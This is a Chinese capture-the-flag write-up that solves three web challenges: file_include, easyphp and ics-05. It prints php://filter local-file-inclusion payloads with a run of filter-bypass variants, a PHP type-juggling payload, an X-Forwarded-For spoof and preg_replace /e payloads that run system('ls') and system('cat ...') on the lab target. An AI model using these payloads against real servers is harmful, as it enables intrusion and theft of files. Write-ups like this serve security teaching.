file_include、easyphp、ics-05

file_include

前言

文件包含漏洞,简单说就是:程序用「用户可控的参数」拼接文件路径,直接执行「包含文件」操作,导致攻击者能让服务器包含任意文件(如敏感信息、恶意代码)。

解题

打开题目发现一段文件包含代码

如果flag存储在PHP文件中(如flag.php,内容是<?php$flag="CTF{xxx}";?>),直接包含会执行PHP代码但不输出flag,此时用php://filter伪协议编码读取源码

?filename=php://filter/read=convert.base64-encode/resource=flag.php

查看源码,发现read,base64,encode等关键字符被过滤了,进行混编

尝试大小写混写绕过

复制代码
?filename=PhP://FiLtEr/reAd=CoNvErT.BaSe64-EnCoDe/reSoUrCe=flag.php

也不行

尝试插入不可见字符(空格 /%00/%09)

插入空格(%20 URL编码后,浏览器会自动转义,也可直接写空格)

复制代码
?filename=php://filter/rea%20d=convert.base64%20-encode/resource=flag.php

插入制表符(%09,效果同上)

复制代码
?filename=php://filter/rea%09d=convert.base64%09-encode/resource=flag.php

插入空字符(%00,适合严格过滤场景)

复制代码
?filename=php://filter/rea%00d=convert.base64%00-encode/resource=flag.php

都不行

用过滤器别名替代 base64-encode

复制代码
?filename=php://filter/read=convert.base64/resource=flag.php

双写关键词(应对 "替换过滤")

复制代码
?filename=php://filter/rereadad=convert.base64base64-encode/resource=flag.php

协议前缀省略(极简绕过)

复制代码
?filename=//filter/read=convert.base64-encode/resource=flag.php

用其他编码过滤器替代(终极方案)

rot13 编码(简单替换编码,在线可解)

复制代码
?filename=php://filter/read=convert.rot13/resource=flag.php

quoted-printable-encode 编码(MIME 编码,在线可解)

复制代码
?filename=php://filter/read=convert.quoted-printable-encode/resource=flag.php

组合绕过

大小写+空格+简写组合

复制代码
?filename=PhP://FiLtEr/re%20aD=CoNvErT.BaSe64/reSoUrCe=flag.php

双写+不可见字符组合

复制代码
?filename=php://filter/rere%00adad=convert.base64base64-enco%20de/resource=flag.php

这些都不行

用iconv编码转换替代了传统编码(将指定的文件从UCS-4*转换为UCS-4BE 输出)

复制代码
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

发现flag:cyberpeace{52cd898a8a199b99a633098ecbb79162}

easyphp

打开题目是一段代码

php 复制代码
<?php

// 高亮显示当前文件的源码(方便查看代码结构,CTF 中常见调试/展示手段)

highlight_file(__FILE__);

// 初始化两个标志位,均为 0(需同时置为 1 才能获取 flag)

$key1 = 0;
$key2 = 0;

// 从 GET 请求中获取参数 a 和 b(用户输入可控)

$a = $_GET['a'];
$b = $_GET['b'];

// 第一个条件判断:需要满足 3 个条件才能进入内层逻辑
// 1.  参数 a 必须存在(isset($a))
// 2.  a 转换为整数后必须大于 6000000(intval($a) > 6000000)
// 3.  a 的字符串长度必须 <= 3(strlen($a) <= 3)
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    // 第二个条件判断:针对参数 b 的校验
    // 1. 参数 b 必须存在(isset($b))
    // 2. 对 b 做 md5 加密后,取末尾 6 个字符,必须等于 '8b184b'
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        // 若 b 校验通过,将 key1 置为 1(第一个标志位满足)
        $key1 = 1;
    }else{
        // b 校验失败,直接退出并输出提示
        die("Emmm...再想想");
    }
}else{
    // a 校验失败,直接退出并输出提示
    die("Emmm...");
}

// 第三个条件判断:针对参数 c 的校验(c 需是 JSON 格式字符串,解析后转为数组)
// 1. 用 json_decode 解析 GET 参数 c,@ 抑制解析错误,解析后强制转为数组($c=(array)...)
$c=(array)json_decode(@$_GET['c']);

// 内层条件:需满足 2 个大条件才能进入下一层
// 1. $c 必须是数组(is_array($c))
// 2. $c["m"] 不能是数字/数字字符串(!is_numeric(@$c["m"]))
// 3. $c["m"] 比较后必须大于 2022(利用 PHP 弱类型比较,非数字可通过特定值满足)
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    // 进一步校验 $c["n"] 的结构
    // 1. $c["n"] 必须是数组(is_array(@$c["n"]))
    // 2. $c["n"] 的元素个数必须等于 2(count($c["n"]) == 2)
    // 3. $c["n"][0] 必须是数组(is_array($c["n"][0]))
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        // 查找数组 $c["n"] 中是否存在 "DGGJ" 字符串,返回对应的键名(array_search 弱类型查找)
        $d = array_search("DGGJ", $c["n"]);
        // 若未找到($d === false),直接退出
        $d === false?die("no..."):NULL;

        // 遍历 $c["n"] 数组,若存在元素严格等于 "DGGJ",直接退出
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
       
        // 所有校验通过,将 key2 置为 1(第二个标志位满足)
        $key2 = 1;
    }else{
        // $c["n"] 结构校验失败,退出
        die("no hack");
    }
}else{
    // $c 基础校验失败,退出
    die("no");
}

// 最终判断:只有 key1 和 key2 同时为 1(所有条件满足)
if($key1 && $key2){
    // 包含 flag 所在文件(Hgfks.php 中存储了 $flag 变量)
    include "Hgfks.php";
    // 输出成功提示
    echo "You're right"."\n";
    // 打印 flag
    echo $flag;
}

?>

根据代码我们需要构造以下参数

参数a:需满足「短字符串(长度≤3)但intval转换后>6000000」,利用PHP科学计数法(如7e6,strlen=3,intval=7000000);

参数b:需找到一个字符串,其md5后末尾6位是8b184b(可通过爆破/查表获取,如b=53724等);

参数c:需构造JSON数组,满足:

m非数字但弱比较>2022(如m="2023a",非数字且字符串比较>2022);

n是长度为2的数组,第一个元素是子数组;

array_search("DGGJ",c\["n"\])能找到(弱类型匹配,如c["n"]=[[1,2],0],因"DGGJ"弱比较等于0),但遍历无严格等于"DGGJ"的元素。

满足以上所有条件即可触发include"Hgfks.php"并输出$flag。

php 复制代码
?a=7e6&b=53724&c={"m":"2023a","n":[[1,2],0]}

发现flag:cyberpeace{5ade1ad008084e83ceb8d55d751f0f79}

ics-05

启动靶机后进入一个系统,一顿乱点后发现只有设备维护中心可以进去

进入看源码

发现了参数?page=index,点一下发现index.php。此时用可以用php伪协议读取index.php的文件内容

php 复制代码
?page=php://filter/read=convert.base64-encode/resource=index.php

解码

php 复制代码
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);

?>
<!DOCTYPE HTML>
<html>
<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">

</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>

    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });

    </script>
<?php

$page = $_GET[page];

if (isset($page)) {
if (ctype_alnum($page)) {
?>
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{
?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php
                if (strpos($page, 'input') > 0) {
                    die();
                }
                if (strpos($page, 'ta:text') > 0) {
                    die();
                }
                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
<?php
}}

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

最主要的是以下代码:

php 复制代码
<?php
// 功能说明:临时实现简单的输入输出测试功能(正则替换演示)
// 开发状态:正在开发中,仅允许内部人员测试(未正式上线)
// 核心用途:通过正则表达式对输入的字符串进行替换操作,用于内部功能调试

// 身份校验:仅允许 X-Forwarded-For 请求头为 127.0.0.1 的请求访问(模拟本地/内部来源)
// 注意:X-Forwarded-For 是可伪造的请求头,此校验方式安全性极低,仅适用于测试环境
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    // 输出管理员欢迎信息(标识已通过身份校验)
    echo "<br >Welcome My Admin ! <br >";

    // 接收URL中的GET参数,用于正则替换的三要素
    $pattern = $_GET['pat'];      // 正则表达式模式(如:/abc/ 匹配字符串中的"abc")
    $replacement = $_GET['rep'];  // 替换内容(将匹配到的内容替换为此值)
    $subject = $_GET['sub'];      // 目标字符串(需要进行正则替换操作的原始字符串)

    // 校验三个必要参数是否均已传入(避免因参数缺失导致的语法错误)
    if (isset($pattern) && isset($replacement) && isset($subject)) {

        // 执行正则替换操作:preg_replace(模式, 替换内容, 目标字符串)
        // 注意1:默认仅替换第1次匹配结果,若需全局替换需在模式后加"g"修饰符(如:/abc/g)
        // 注意2:若模式中包含"/e"修饰符(PHP 7.0+已废弃),会导致替换内容被当作PHP代码执行,存在代码注入风险
        // 注意3:此函数执行结果未输出/存储,仅执行替换操作(测试环境下的演示逻辑)
        preg_replace($pattern, $replacement, $subject);
    } else {
        // 若缺少任意参数,直接终止脚本执行(避免后续逻辑报错)
        die();
    }
}
?>

?>
</body>
</html>

伪造请求头(绕过身份校验),使用bp抓包,发送到Repeater模块在请求头中添加

php 复制代码
X-Forwarded-For:127.0.0.1

发现登录成功,这里不要把X-Forwarded-For放到最后,否则发不过去

构造正则注入payload(利用/e修饰符)

pattern 需包含/e修饰符,且能匹配subject中的内容(否则替换不执行);

replacement写入要执行的PHP代码。

php 复制代码
?pat=/abc/e&rep=system("ls")&sub=abc

如图列出目录

css

index.html

index.php

js

layui

logo.png

s3chahahaDir

start.sh

视图.png

获取layui文件的内容

php 复制代码
?pat=/abc/e&rep=system("cat layui &&ls")&sub=abc

发现访问失败了,可能是Web服务器或PHP通常对参数进行URL解码,这意味着,当您在URL中使用%26%26时,它会被解码为&&,然后传递给system函数。

php 复制代码
?pat=/abc/e&rep=system("cd%20layui%26%26ls")&sub=abc

好像没有有用的信息,换一个文件夹

php 复制代码
?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26ls")&sub=abc

发现了flag文件夹,进入该文件夹,获取里面的文件名

php 复制代码
?pat=/abc/e&rep=system('cd%20s3chahahaDir/flag%26%26ls')&sub=abc

发现flag.php文件

php 复制代码
?pat=/abc/e&rep=system('cat%20s3chahahaDir/flag/flag.php')&sub=abc

发现flag:cyberpeace{c48ef7ab996247b53ad748bea83d7118}

相关推荐
YUJIANYUE21 小时前
PHP纹路验证码
开发语言·php
MZ_ZXD0011 天前
springboot旅游信息管理系统-计算机毕业设计源码21675
java·c++·vue.js·spring boot·python·django·php
JMchen1231 天前
Android后台服务与网络保活:WorkManager的实战应用
android·java·网络·kotlin·php·android-studio
大方子1 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
AZ996ZA1 天前
自学linux的第二十一天【DHCP 服务从入门到实战】
linux·运维·服务器·php
聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
darkb1rd1 天前
七、PHP配置(php.ini)安全最佳实践
安全·php·webshell
JSON_L1 天前
Fastadmin中使用GatewayClient
php·fastadmin